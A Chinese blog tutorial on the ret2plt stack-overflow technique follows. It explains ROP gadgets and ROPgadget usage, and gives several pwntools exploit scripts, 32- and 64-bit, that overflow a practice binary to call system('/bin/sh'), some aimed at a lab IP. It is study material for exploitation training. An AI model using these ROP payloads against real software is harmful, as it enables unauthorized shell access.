pwn学习-ret2plt
在之前进行ret2shellcode
的学习时,需要NX
保护机制是关闭的,但是现在一般情况下,保护机制默认都是开启的,那么该怎么办呢?
下面我们将学习ret2plt
技术,够着ROP Chain
来执行我们想要的代码
ret2plt
这种技术的目的是从 PLT 中泄漏函数的地址,例如二进制程序中有一个system
或其他危险函数的调用,使用危险函数作为返回地址,获得shell
ROP
现在大多数的栈溢出漏洞都是使用ROP(Return Oriented Programming)
,即返回导向编程。通过栈溢出覆盖返回地址,使其跳转到我们想要执行恶意代码的位置中。
跳转的位置可能是一段本就就已经写好可以执行恶意命令的函数(这些指令通常有我们自己构造),这些一段代码由一段一段的指令组成,我们可能从这里取一个地址,从哪里取一个地址,这些一段一段的指令被我们称为gadget
。
一段getshell的RoP Chain,可能是构造好的系统调用指令,或者跳转到libc中的某个函数。
gadget
这个单词很形象gadget
,小工具,这些小工具组成了我们的getshell指令,通常gadget
的表现形式如下:
xxx;ret
jmp xxx
call xxx
通常我们使用ROPgadget
命令获取gadget
,常见的参数如下:
--binary
: 指定二进制文件--string
: 指定搜索的文本--depth num
: rop chain 深度
下面我们会进行实操,二进制文件如下:
链接:https://pan.baidu.com/s/1TKg-hr8dbvp5Th0DH2mdfA
提取码:bwck
32位 - ret2plt
我们需要获取system函数的地址和/bin/sh
的地址,获取方法如下
objdump -d ret2plt | grep -i "system" -A 3
获取地址为80483b0
,使用gdb
中的info function
也可以获取
接着获取/bin/sh
,使用pwndbg
和ROPgadget
获取方式如下
先使用b main
断点,然后run
运行,接着search /bin/sh
ROPgadget --binary ret2plt --string "/bin/sh"
上述中的数据有些也可以使用pwntools
获取,后续我会给两个不同的脚本
from pwn import *
p = process("./ret2plt")
e = ELF("./ret2plt")
p.recvuntil("Leave a message!")
padding = 0x18 + 0x4
system_addr = e.plt['system']
print("system_addr: ",system_addr)
sh_addr = next(e.search(b"/bin/sh"))
print("sh_addr: ",sh_addr)
payload = b"A" * padding + p32(system_addr) + p32(0) + p32(sh_addr)
p.send(payload)
p.interactive()
from pwn import *
p = process("./ret2plt")
# p = remote("192.168.154.176",8888)
p.recvuntil("Leave a message!")
padding = 0x18 + 0x4
system_addr = 0x080483b0
ret = 0
sh_addr = 0x08049614
payload = b"A" * padding + p32(system_addr) + p32(ret) + p32(sh_addr)
p.send(payload)
p.interactive()
上述中先传入system_addr
执行system
函数,然后传入ret
值为0,因为在system_addr
运行后需要一个返回地址,然后接着从栈取sh_addr
作为参数,从而我们获取一个shell
64位 - ret2plt
脚本如下:
from pwn import *
p = process("./x64_ret2plt")
e = ELF("./x64_ret2plt")
p.recvuntil("Leave a message!")
padding = 0x10 + 0x8
ret = 0x0000000000400501
pop_rdi_ret = 0x0000000000400773
sh_addr = 0x00000000004007a3
system_addr = e.plt['system']
print(system_addr)
payload = b"A" * padding + p64(ret) + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)
# input("attack")
p.send(payload)
p.interactive()
from pwn import *
# context(log_level="debug")
# p = process("./x64_ret2plt")
p = remote("192.168.154.176",8888)
e = ELF("./x64_ret2plt")
p.recvuntil("Leave a message!")
padding = 0x10 + 0x8
ret = 0x0000000000400501
pop_rdi_ret = 0x0000000000400773
# sh_addr = 0x00000000004007a3
sh_addr = next(e.search('/bin/sh'))
system_addr = e.plt['system']
print(system_addr)
payload = b"A" * padding + p64(ret) + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)
# input("attack")
p.send(payload)
p.interactive()
x64的脚本有些不一样,需要在return system_addr
前调用ret
一次,保证栈平衡补充16个字节,ret
和前面一样,使用ROPgadget
获取即可
$ ROPgadget --binary ret2plt | grep ret
0x08048749 : adc al, 0x41 ; ret
0x08048457 : adc cl, cl ; repz ret
0x080485ef : adc ebx, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
.... .... ... ... ... ... ...
0x08048459 : repz ret
0x08048362 : ret
0x0804846e : ret 0xeac1
0x08048454 : rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x0804848e : rol byte ptr [ebx - 0xc36ef3c], cl ; ret
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
2023-05-31 使用OnePlus 6T(一加6T)刷入 Kali NetHunter的操作总结
2022-05-31 DVWA-Weak Session IDs(弱会话ID) 不安全的会话
2022-05-31 DVWA-SQL Injection (Bind) SQL盲注